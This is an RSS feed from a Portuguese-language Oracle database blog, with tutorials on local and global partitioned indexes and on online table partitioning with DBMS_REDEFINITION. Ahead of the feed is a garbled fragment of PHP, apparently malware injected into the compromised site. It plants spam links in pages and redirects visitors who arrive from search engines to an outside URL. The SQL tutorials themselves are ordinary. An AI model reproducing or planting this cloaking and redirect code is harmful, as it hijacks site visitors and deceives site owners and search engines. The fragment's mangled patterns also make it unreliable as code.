$cldwfooter .= "$cldwflink "; } } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#</body>#', $my_content)) { $my_content = preg_replace('#</body>#', "$ln<br> \n</body>", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } ?><?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>range – Oracle Home https://oraclehome.com.br A casa do Oracle Brasil Tue, 25 Jun 2013 02:16:23 +0000 pt-BR hourly 1 https://wordpress.org/?v=6.1.7 https://oraclehome.com.br/wp-content/uploads/2017/01/cropped-favicon-32x32.png range – Oracle Home https://oraclehome.com.br 32 32 Índices particionados – Local & Global index https://oraclehome.com.br/2013/06/24/indices-particionados-local-global-index/ https://oraclehome.com.br/2013/06/24/indices-particionados-local-global-index/#respond Tue, 25 Jun 2013 01:54:32 +0000 https://oraclehome.com.br/?p=3797 Em um artigo passado, Particionando uma tabela existente utilizando DBMS_REDEFINITION vimos um breve conceito de particionamento e alguns métodos oferecidos pela Oracle (paticionamento por range,list,hash). Mas as tabelas são os únicos segmentos que podemos particionar? E os índices…

Assim como tabelas e materialized views, os índices também podem ser particionados! Mas antes de falarmos de Global e Local index, vamos definir o que é um índice.

Índices são segmentos que contém a(s) coluna(s) indexada(s) juntamente com o ROWID da linha que contém o valor indexado. Podemos dizer de forma geral que um índice permite melhorar o desempenho(tempo) da obtenção de linhas de uma instrução SQL. Veja o artigo relacionado “A importância do uso de Índices“.

Local indexes:

Índices particionados locais são mais fáceis de controlar do que outros tipos de índices particionados. Cada partição de um índice local está associada a exatamente uma partição da tabela, ou seja, eles são um reflexo das partições da tabela e seus limites (HIGH_VALUE), vejamos:

Primeiramente vou criar uma tabela particionada e popular com alguns registros.

SQL> create table exemplo_part(
  2  cod number(5),
  3  des varchar2(20)
  4  )
  5  partition by range (cod)
  6  (
  7    partition DTP100 values less than (100)
  8      tablespace USERS
  9      ,
 10    partition DTP200 values less than (200)
 11      tablespace USERS
 12      ,
 13    partition DTP300 values less than (300)
 14      tablespace USERS
 15      ,
 16    partition DTP400 values less than (400)
 17      tablespace USERS
 18  );

Table created.

SQL> insert into exemplo_part select rownum, 'REGISTRO - '||rownum from dual id connect by level < 400;

399 rows created.

SQL> commit;

Commit complete.

SQL> BEGIN
  2  DBMS_STATS.GATHER_TABLE_STATS(
  3  ownname          => 'ANDERSON',
  4  tabname          => 'EXEMPLO_PART',
  5  estimate_percent => 100,
  6  method_opt       => 'FOR ALL COLUMNS SIZE 1',
  7  degree           => 16,
  8  granularity      => 'ALL',
  9  cascade          => TRUE);
 10  END;
 11  /

PL/SQL procedure successfully completed.

SQL> col TABLE_NAME for a20
SQL> col HIGH_VALUE for a10
SQL> col PARTITION_NAME for a20
SQL> col TABLESPACE_NAME for a30
SQL> select table_name,
  2  partition_name,
  3  num_rows,
  4  high_value,
  5  tablespace_name
  6  from dba_tab_partitions
  7  where table_name='EXEMPLO_PART';

TABLE_NAME           PARTITION_NAME         NUM_ROWS HIGH_VALUE TABLESPACE_NAME
-------------------- -------------------- ---------- ---------- --------------------
EXEMPLO_PART         DTP100                       99 100        USERS
EXEMPLO_PART         DTP200                      100 200        USERS
EXEMPLO_PART         DTP300                      100 300        USERS
EXEMPLO_PART         DTP400                      100 400        USERS

Agora vou criar um índice local.

SQL> create index EXEMPLO_PART_IDX1 on EXEMPLO_PART(cod) local;

Index created.

Observem como o índice local ficou estruturado. Mesma quantidade de partições e limites.

SQL> select index_name,
  2  partition_name,
  3  num_rows,
  4  high_value,
  5  tablespace_name
  6  from dba_ind_partitions
  7  where index_name='EXEMPLO_PART_IDX1';

INDEX_NAME                     PARTITION_NAME         NUM_ROWS HIGH_VALUE TABLESPACE_NAME
------------------------------ -------------------- ---------- ---------- --------------------
EXEMPLO_PART_IDX1              DTP100                       99 100        USERS
EXEMPLO_PART_IDX1              DTP200                      100 200        USERS
EXEMPLO_PART_IDX1              DTP300                      100 300        USERS
EXEMPLO_PART_IDX1              DTP400                      100 400        USERS

ind local part Índices particionados   Local & Global index

Veja que as partições recebem o mesmo nome das partições da tabela bem como são armazenadas nas mesmas tablespaces, mas nada impede que possamos efetuar um rename e rebuild para ajustar conforme nossa necessidade.

SQL> alter index EXEMPLO_PART_IDX1 rename partition DTP400 to ITP400;

Index altered.

SQL> alter index EXEMPLO_PART_IDX1 rebuild partition ITP400 tablespace TESTE;

Index altered.

SQL> select index_name,
  2  partition_name,
  3  num_rows,
  4  high_value,
  5  tablespace_name
  6  from dba_ind_partitions
  7  where index_name='EXEMPLO_PART_IDX1';

INDEX_NAME                     PARTITION_NAME         NUM_ROWS HIGH_VALUE TABLESPACE_NAME
------------------------------ -------------------- ---------- ---------- --------------------
EXEMPLO_PART_IDX1              DTP100                       99 100        USERS
EXEMPLO_PART_IDX1              DTP200                      100 200        USERS
EXEMPLO_PART_IDX1              DTP300                      100 300        USERS
EXEMPLO_PART_IDX1              ITP400                      100 400        TESTE

É possível também criar os índices locais já especificando o nome correto das partições e tablespaces:

SQL> create index EXEMPLO_PART_IDX1 on EXEMPLO_PART(cod) local
  2   (PARTITION ITP100 TABLESPACE TESTE,
  3    PARTITION ITP200 TABLESPACE TESTE,
  4    PARTITION ITP300 TABLESPACE TESTE,
  5    PARTITION ITP400 TABLESPACE TESTE
  6  );

Index created.

SQL> select index_name,
  2  partition_name,
  3  num_rows,
  4  high_value,
  5  tablespace_name
  6  from dba_ind_partitions
  7  where index_name='EXEMPLO_PART_IDX1';

INDEX_NAME                     PARTITION_NAME         NUM_ROWS HIGH_VALUE TABLESPACE_NAME
------------------------------ -------------------- ---------- ---------- --------------------
EXEMPLO_PART_IDX1              ITP100                       99 100        TESTE
EXEMPLO_PART_IDX1              ITP200                      100 200        TESTE
EXEMPLO_PART_IDX1              ITP300                      100 300        TESTE
EXEMPLO_PART_IDX1              ITP400                      100 400        TESTE

Um dos benefícios dos índices locais é que o banco de dados matem automaticamente as partições de índice em sincronia com as partições da tabela, desta forma se uma nova partição for adicionada na tabela a partição de índice é automaticamente criada, da mesma forma se uma partição da tabela for removida ela é removida do índice sem invalidar os demais, como acontece nos índices globais.

SQL> alter table exemplo_part add partition
  2  DTP500 values less than (500)
  3  tablespace USERS;

Table altered.

SQL> select table_name,
  2  partition_name,
  3  num_rows,
  4  high_value,
  5  tablespace_name
  6  from dba_tab_partitions
  7  where table_name='EXEMPLO_PART';

TABLE_NAME           PARTITION_NAME         NUM_ROWS HIGH_VALUE TABLESPACE_NAME
-------------------- -------------------- ---------- ---------- --------------------
EXEMPLO_PART         DTP500                          500        USERS
EXEMPLO_PART         DTP100                       99 100        USERS
EXEMPLO_PART         DTP200                      100 200        USERS
EXEMPLO_PART         DTP300                      100 300        USERS
EXEMPLO_PART         DTP400                      100 400        USERS

SQL> select index_name,
  2  partition_name,
  3  num_rows,
  4  high_value,
  5  tablespace_name
  6  from dba_ind_partitions
  7  where index_name='EXEMPLO_PART_IDX1';

INDEX_NAME                     PARTITION_NAME         NUM_ROWS HIGH_VALUE TABLESPACE_NAME
------------------------------ -------------------- ---------- ---------- --------------------
EXEMPLO_PART_IDX1              DTP100                       99 100        USERS
EXEMPLO_PART_IDX1              DTP200                      100 200        USERS
EXEMPLO_PART_IDX1              DTP300                      100 300        USERS
EXEMPLO_PART_IDX1              ITP400                      100 400        TESTE
EXEMPLO_PART_IDX1              DTP500                          500        USERS

Utilizando índices locais também podemos criar índices únicos (unique index), para tanto precisamos especificar também no índice a chave da partição como neste exemplo:

SQL> create unique index EXEMPLO_PART_IDX2 on EXEMPLO_PART(cod,des) local;

Index created.

Caso a chave da partição não seja especificada no unique index o erro abaixo será apresentado.

SQL> create unique index EXEMPLO_PART_IDX3 on EXEMPLO_PART(des) local;
create unique index EXEMPLO_PART_IDX3 on EXEMPLO_PART(des) local
                                         *
ERROR at line 1:
ORA-14039: partitioning columns must form a subset of key columns of a UNIQUE index

Global indexes:

Índices globais podem ser de dois tipos: particionados ou não-particionados. Quando particionados não precisam necessariamente refletir a mesma quantidade de partições de sua tabela e podem ser particionados por range(intervalo) ou hash(faixa). Vejamos:

--RANGE:

SQL> create index EXEMPLO_PART_IDX1 on EXEMPLO_PART(cod)
  2  global partition by range(cod)
  3   (PARTITION ITP250 VALUES LESS THAN (250) TABLESPACE users,
  4    PARTITION ITP500 VALUES LESS THAN (500) TABLESPACE users,
  5    PARTITION ITPMAX VALUES LESS THAN (MAXVALUE) TABLESPACE users
  6  );

Index created.

SQL> select index_name,
  2  partition_name,
  3  num_rows,
  4  high_value,
  5  tablespace_name
  6  from dba_ind_partitions
  7  where index_name='EXEMPLO_PART_IDX1';

INDEX_NAME                     PARTITION_NAME         NUM_ROWS HIGH_VALUE TABLESPACE_NAME
------------------------------ -------------------- ---------- ---------- --------------------
EXEMPLO_PART_IDX1              ITP250                      249 250        USERS
EXEMPLO_PART_IDX1              ITP500                      150 500        USERS
EXEMPLO_PART_IDX1              ITPMAX                        0 MAXVALUE   USERS

--HASH:

SQL> create index EXEMPLO_PART_IDX1 on EXEMPLO_PART(cod)
  2  global partition by hash(cod)
  3   (PARTITION ITP1 TABLESPACE users,
  4    PARTITION ITP2 TABLESPACE users
  5  );

Index created.

SQL> select index_name,
  2  partition_name,
  3  num_rows,
  4  high_value,
  5  tablespace_name
  6  from dba_ind_partitions
  7  where index_name='EXEMPLO_PART_IDX1';

INDEX_NAME                     PARTITION_NAME         NUM_ROWS HIGH_VALUE TABLESPACE_NAME
------------------------------ -------------------- ---------- ---------- --------------------
EXEMPLO_PART_IDX1              ITP1                        197            USERS
EXEMPLO_PART_IDX1              ITP2                        202            USERS

Observem a imagem abaixo ilustrando um exemplo de índice global particonado.

index global part Índices particionados   Local & Global index

Utilizando índices globais particionados precisamos nos atentar que dependendo das operações DDL executadas sobre a tabela (ADD, DROP, MOVE, TRUNCATE, SPLIT, …) podemos invalidar o índice, deste modo, podemos sempre utilizar a cláusula UPDATE GLOBAL INDEXES para não invalidá-los.

ALTER TABLE EXEMPLO_PART ADD PARTITION … UPDATE GLOBAL INDEXES;

Outro detalhe é que ao criar índices globais por range sempre precisamos especificar uma partição com o limite MAXVALUE, caso contrário um erro ORA-14021 será gerado.

SQL> create index EXEMPLO_PART_IDX1 on EXEMPLO_PART(cod)
  2  global partition by range(cod)
  3   (PARTITION ITP250 VALUES LESS THAN (250) TABLESPACE users,
  4    PARTITION ITP500 VALUES LESS THAN (500) TABLESPACE users
  5  );
)
*
ERROR at line 5:
ORA-14021: MAXVALUE must be specified for all columns

Já os índices globais não-particionados são exatamente iguais aos índices regulares (Btree), deste modo são criados utilizando a mesma syntaxe:

SQL> create index EXEMPLO_PART_IDX1 on EXEMPLO_PART(cod);

Index created.

index global non part Índices particionados   Local & Global index

Referência:
http://docs.oracle.com/cd/B19306_01/server.102/b14220/partconc.htm
http://docs.oracle.com/cd/E18283_01/server.112/e16541/partition.htm

]]> https://oraclehome.com.br/2013/06/24/indices-particionados-local-global-index/feed/ 0 Particionando uma tabela existente utilizando DBMS_REDEFINITION https://oraclehome.com.br/2013/04/12/particionando-uma-tabela-existente-utilizando-dbms_redefinition/ https://oraclehome.com.br/2013/04/12/particionando-uma-tabela-existente-utilizando-dbms_redefinition/#comments Fri, 12 Apr 2013 13:00:16 +0000 https://oraclehome.com.br/?p=3471 O Particionamento é uma solução oferecida na versão Enterprise Edition(EE) – With Partitioning, mediante licenciamento, que permite particionarmos tabelas e índices em pedaços menores simplificando sua administração e melhorando o desempenho de consultas.

A Oracle oferece alguns métodos de particionamento, como podemos verificar abaixo:

Range Partitioning: Particionamento por intervalos. É o tipo mais comum de particionamento e normalmente utilizado sobre datas;

List Partitioning: Particionamento em listas, onde podemos especificar uma lista de valores atribuidos à cada partição;

Hash Partitioning: Particionamento em faixas, normalmente dados que não encaixam no formato de particionamento de listas ou ranges;

Composite Partitioning: Particionamento composto por partições range e sub-partições (list ou hash).

Neste artigo irei demonstrar como podemos particionar uma tabela já existente utilizando o modelo range(intervalo) através da package DBMS_REDEFINITION existente desde a versão 9i e que permite uma redefinição ONLINE de tabelas.

Primeiramente vamos criar e popular duas simples tabelas contendo constraints e índices.

SQL> create table forma_pagamento (
  2  codigo number(2) constraint pk_codigo primary key,
  3  descricao varchar2(50)
  4  );

Table created.

insert into forma_pagamento values (1,'A VISTA');
insert into forma_pagamento values (2,'BOLETO BANCARIO');
insert into forma_pagamento values (3,'TRANSFERENCIA BANCARIA');
commit;

SQL> select * from forma_pagamento;

    CODIGO DESCRICAO
---------- --------------------------------------------------
         1 A VISTA
         2 BOLETO BANCARIO
         3 TRANSFERENCIA BANCARIA

SQL> create table venda (
  2  id number(7) constraint pk_id primary key,
  3  codigo_pag number(2),
  4  data_venda date,
  5  constraint fk_venda_forma_pag foreign key (codigo_pag) references forma_pagamento(codigo)
  6  );

Table created.

SQL> create index venda_idx1 on venda(codigo_pag);

Index created.

SQL> create index venda_idx2 on venda(codigo_pag,data_venda);

Index created.

SQL> DECLARE
  2    wk_codigo_pag    forma_pagamento.codigo%TYPE;
  3    wk_data_venda  DATE;
  4  BEGIN
  5    FOR i IN 1 .. 1000000 LOOP
  6
  7      SELECT ROUND(DBMS_RANDOM.VALUE(1,3)) INTO wk_codigo_pag FROM DUAL;
  8
  9      IF MOD(i, 3) = 0 THEN
 10        wk_data_venda := ADD_MONTHS(SYSDATE, -24);
 11      ELSIF MOD(i, 2) = 0 THEN
 12        wk_data_venda := ADD_MONTHS(SYSDATE, -12);
 13      ELSE
 14        wk_data_venda := SYSDATE;
 15      END IF;
 16
 17      INSERT INTO VENDA (id, codigo_pag, data_venda)
 18      VALUES (i, wk_codigo_pag, wk_data_venda);
 19
 20    END LOOP;
 21    COMMIT;
 22  END;
 23  /

PL/SQL procedure successfully completed.

SQL> commit;

Commit complete.

Criado e populado as tabelas vamos verificar as constraints e índices da tabela VENDA que será particionada posteriormente.

SQL> select constraint_name,constraint_type
  2  from user_constraints
  3  where table_name='VENDA';

CONSTRAINT_NAME                C
------------------------------ -
PK_ID                          P
FK_VENDA_FORMA_PAG             R

SQL> select index_name
  2  from dba_indexes
  3  where table_name='VENDA';

INDEX_NAME
------------------------------
VENDA_IDX2
VENDA_IDX1
PK_ID

Montado nosso cenário, vamos iniciar o processo de particionamento ONLINE da tabela VENDA (DATA_VENDA) por range(intervalo) utilizando a DBMS_REDEFINITION.

Nosso primeiro passo é verificar se a tabela pode ser redefinida de forma online. Caso não seja uma candidata, a procedure ira retornar um erro indicando o motivo.

SQL> BEGIN
  2  DBMS_REDEFINITION.CAN_REDEF_TABLE(uname => 'ANDERSON', tname => 'VENDA');
  3  END;
  4  /

PL/SQL procedure successfully completed.

Neste exemplo não estou especificando a opção OPTIONS_FLAG, desta forma a procedure CAN_REDEF_TABLE utiliza a opção default DBMS_REDEFINITION.CONS_USE_PK que realiza a redefinição usando a chave-primária da tabela (condição existente na nossa tabela). Caso a tabela não possua PK, podemos especificar OPTIONS_FLAG=>DBMS_REDEFINITION.CONS_USE_ROWID

Agora iremos criar nossa tabela temporária, conhecida por INTERIM, utilizando a mesma estrutura da tabela anterior (VENDA) porem agora particionada e sem constraints/índices.

SQL> create table venda_interim (
  2  id number(7),
  3  codigo_pag number(2),
  4  data_venda date
  5  )
  6  partition by range (DATA_VENDA)
  7  (
  8     partition PRANGE2011 values less than (TO_DATE(' 2012-01-01 00:00:00', 'SYYYY-MM-DD HH24:MI:SS', 'NLS_CALENDAR=GREGORIAN'))
  9       tablespace USERS
 10       ,
 11     partition PRANGE2012 values less than (TO_DATE(' 2013-01-01 00:00:00', 'SYYYY-MM-DD HH24:MI:SS', 'NLS_CALENDAR=GREGORIAN'))
 12       tablespace USERS
 13       ,
 14     partition PRANGE2013 values less than (TO_DATE(' 2014-01-01 00:00:00', 'SYYYY-MM-DD HH24:MI:SS', 'NLS_CALENDAR=GREGORIAN'))
 16       tablespace USERS
 15  )
 17  tablespace USERS;

Table created.

O próximo passo é iniciar o processo de redefinição online da tabela, vejamos:

SQL> BEGIN
  2  DBMS_REDEFINITION.start_redef_table(
  3    uname      => 'ANDERSON',
  4    orig_table => 'VENDA',
  5    int_table  => 'VENDA_INTERIM');
  6  END;
  7  /

PL/SQL procedure successfully completed.

Dando sequencia iremos realizar a cópia dos objetos dependentes para a tabela INTERIM, como grants, triggers, constraints, índices e privilégios.

SQL> var num_errors number
SQL> BEGIN
  2    DBMS_REDEFINITION.COPY_TABLE_DEPENDENTS(uname      => 'ANDERSON',
  3                                            orig_table => 'VENDA',
  4                                            int_table  => 'VENDA_INTERIM',
  5                                            num_errors => :num_errors);
  6  END;
  7  /

PL/SQL procedure successfully completed.

SQL> print num_errors

NUM_ERRORS
----------
         0

Vamos disparar um sincronismo para manter a tabela INTERIM sincronizada com a tabela original(VENDA). No nosso cenário não temos nenhum benefício, pois ninguém esta alterando ou inserindo registros na tabela VENDA, contudo em um ambiente OLTP cuja tabela esta sofrendo constantes operações DML o sincronismo é útil para minimizar a quantidade de sincronização necessária a ser feita pelo procedimento FINISH_REDEF_TABLE(abaixo) acelerando as operações subsequentes.

SQL> BEGIN
  2  DBMS_REDEFINITION.sync_interim_table(
  3    uname      => 'ANDERSON',
  4    orig_table => 'VENDA',
  5    int_table  => 'VENDA_INTERIM');
  6  END;
  7  /

PL/SQL procedure successfully completed.

Por fim, disparamos uma coleta de estatística sobre a VENDA_INTERIM e finalizamos o processo de redefinição.

SQL> BEGIN
  2  DBMS_STATS.GATHER_TABLE_STATS(ownname          => 'ANDERSON',
  3                                TABNAME          => 'VENDA_INTERIM',
  4                                estimate_percent => 100,
  5                                method_opt       => 'FOR ALL COLUMNS SIZE 1',
  6                                degree           => 16,
  7                                granularity      => 'ALL',
  8                                cascade          => TRUE);
  9  END;
 10  /

PL/SQL procedure successfully completed.

SQL> BEGIN
  2  DBMS_REDEFINITION.finish_redef_table(
  3    uname      => 'ANDERSON',
  4    orig_table => 'VENDA',
  5    int_table  => 'VENDA_INTERIM');
  6  END;
  7 /

PL/SQL procedure successfully completed.

Agora já podemos remover a tabela INTERIM(VENDA_INTERIM)

SQL> drop table venda_interim;

Table dropped.

Vamos verificar nossas constrains, índices e os particionamentos da tabela.

SQL> select constraint_name,constraint_type, status
  2  from user_constraints
  3  where table_name='VENDA';

CONSTRAINT_NAME                C STATUS
------------------------------ - --------
PK_ID                          P ENABLED
FK_VENDA_FORMA_PAG             R ENABLED

SQL> select index_name,status
  2  from user_indexes
  3  where table_name='VENDA';

INDEX_NAME                     STATUS
------------------------------ --------
PK_ID                          VALID
VENDA_IDX1                     VALID
VENDA_IDX2                     VALID

SQL> select table_name, partition_name, num_rows
  2  from dba_tab_partitions
  3  where table_name='VENDA';

TABLE_NAME                     PARTITION_NAME                   NUM_ROWS
------------------------------ ------------------------------ ----------
VENDA                          PRANGE2011                         333333
VENDA                          PRANGE2012                         333334
VENDA                          PRANGE2013                         333333

Pessoal, por hoje é isso! Em um próximo artigo estaremos falando sobre os outros métodos de particionamento e também particionamento de índices(LOCAL, GLOBAL..)

FONTES: http://docs.oracle.com/cd/B19306_01/server.102/b14220/partconc.htm#i460895
http://docs.oracle.com/cd/B19306_01/appdev.102/b14258/d_redefi.htm

]]>
https://oraclehome.com.br/2013/04/12/particionando-uma-tabela-existente-utilizando-dbms_redefinition/feed/ 2